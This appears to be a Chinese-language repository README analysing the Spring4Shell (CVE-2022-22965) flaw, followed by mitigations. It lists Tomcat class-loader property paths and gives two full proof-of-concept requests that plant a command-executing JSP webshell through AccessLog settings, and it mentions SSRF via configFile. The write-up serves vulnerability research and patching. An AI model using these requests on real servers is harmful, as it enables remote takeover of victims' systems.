class.module.classLoader.resources.context.manager.engine.service.parentClassLoader class.module.classLoader.resources.context.manager.engine.service.server class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength class.module.classLoader.resources.context.parent.pipeline.basic class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported class.module.classLoader.resources.context.parent.pipeline.basic.container class.module.classLoader.resources.context.parent.pipeline.basic.domain class.module.classLoader.resources.context.parent.pipeline.basic.next class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported class.module.classLoader.resources.context.parent.pipeline.first.buffered class.module.classLoader.resources.context.parent.pipeline.first.checkExists class.module.classLoader.resources.context.parent.pipeline.first.condition class.module.classLoader.resources.context.parent.pipeline.first.conditionIf class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless class.module.classLoader.resources.context.parent.pipeline.first.container class.module.classLoader.resources.context.parent.pipeline.first.directory class.module.classLoader.resources.context.parent.pipeline.first.domain class.module.classLoader.resources.context.parent.pipeline.first.enabled class.module.classLoader.resources.context.parent.pipeline.first.encoding class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat class.module.classLoader.resources.context.parent.pipeline.first.locale class.module.classLoader.resources.context.parent.pipeline.first.next class.module.classLoader.resources.context.parent.pipeline.first.pattern class.module.classLoader.resources.context.parent.pipeline.first.prefix class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled class.module.classLoader.resources.context.parent.pipeline.first.rotatable class.module.classLoader.resources.context.parent.pipeline.first.suffix class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory class.module.classLoader.resources.context.realm.credentialHandler.saltLength class.module.classLoader.resources.context.manager.engine.pipeline.basic class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported class.module.classLoader.resources.context.manager.engine.pipeline.basic.container class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain class.module.classLoader.resources.context.manager.engine.pipeline.basic.next class.module.classLoader.resources.context.manager.engine.service.server class.module.classLoader.resources.context.manager.engine.service.server.address class.module.classLoader.resources.context.manager.engine.service.server.catalina class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome class.module.classLoader.resources.context.manager.engine.service.server.domain class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader class.module.classLoader.resources.context.manager.engine.service.server.port class.module.classLoader.resources.context.manager.engine.service.server.shutdown class.module.classLoader.resources.context.parent.pipeline.first.next class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported class.module.classLoader.resources.context.parent.pipeline.first.next.container class.module.classLoader.resources.context.parent.pipeline.first.next.domain class.module.classLoader.resources.context.parent.pipeline.first.next.next class.module.classLoader.resources.context.parent.pipeline.first.next.showReport class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo class.module.classLoader.resources.context.manager.engine.service.server.catalina class.module.classLoader.resources.context.manager.engine.service.server.catalina.await class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader class.module.classLoader.resources.context.manager.engine.service.server.catalina.server class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction class.module.classLoader.resources.context.manager.engine.service.server.port ```

利用其中的class.module.classLoader.resources.context.parent.pipeline可以设置AccessLog的属性,然后就可以利用写日志的功能实现写webshell,POC如下:

GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E

或者利用请求头来传递pattern的值:

GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
Host: 127.0.0.1:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>

也可以利用class.module.classLoader.resources.context.configFile进行SSRF。

其他可利用的属性需要进一步查看各属性的作用。

需要注意的点是,修改上面的属性可能导致服务重启,因此如果是自己测试无所谓,但是千万不要在现网环境中直接利用这些poc,除非你很清楚并且能承担得起利用导致的后果!!

漏洞修复&规避

新版本的修复方式中,主要有两个点来阻止变量覆盖:

  1. 通过全局设置来禁用对特定字段的disallowFields绑定WebDataBinder:
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
         String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
         dataBinder.setDisallowedFields(denylist);
    }
}

但是这种黑名单的方式可能存在被绕过的可能;临时使用ok,但不是长久之计;

  1. 在CachedIntrospectionResults中,获取beaninfo的时候增加了判断,变成了仅允许Class类的name 变量:

其他规避措施:

  1. tomcat的新版本中也做了漏洞规避,刚开始使用tomcat 8.5.78版本,结果无法浮现,通过调试发现使用class.module.classLoader.resources时在该tomcat的版本下获取的resources是空的,从而导致无法利用,所以升级tomcat版本也可以规避该漏洞;
  2. jdk9以下不受该漏洞影响。

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages